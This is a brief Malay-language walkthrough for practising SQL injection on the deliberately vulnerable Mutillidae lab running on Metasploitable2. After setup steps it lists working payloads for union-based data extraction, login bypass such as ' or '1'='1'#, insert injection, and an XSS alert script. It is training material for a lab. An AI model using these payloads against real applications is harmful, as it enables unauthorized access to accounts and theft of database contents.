multillidae walkthrough Part 2

[1] A1 Injection Part 2	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Buka multillidae melalui browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.

4	**A1-Injection -> SQLi - Extract Data -> User Info**
	`'`
	`' or '1' ='1#`
	`' group by n#`
	`' union all select 1,2,3,4,5#`
	`' union all select 1, user(), database(),4,5#`

5	**A1-Injection -> SQLi – Bypass Authentication -> Login**
	`Username: admin`
	`Password: admin`
	
	`Username: ' or '1'='1'#`
	
	Payloads lain untuk Bypass Authentication:
	`admin' #`
	`admin' or '1'='1`
	`admin' or '1'='1'#`
	`admin' or 1=1 or "="`
	`admin' or 1=1#`

6	**A1-Injection -> SQLi – Insert Injection -> Register**
	`<script>alert("XSS");</script>`
	`'`
	`a','a',(SELECT version()))#`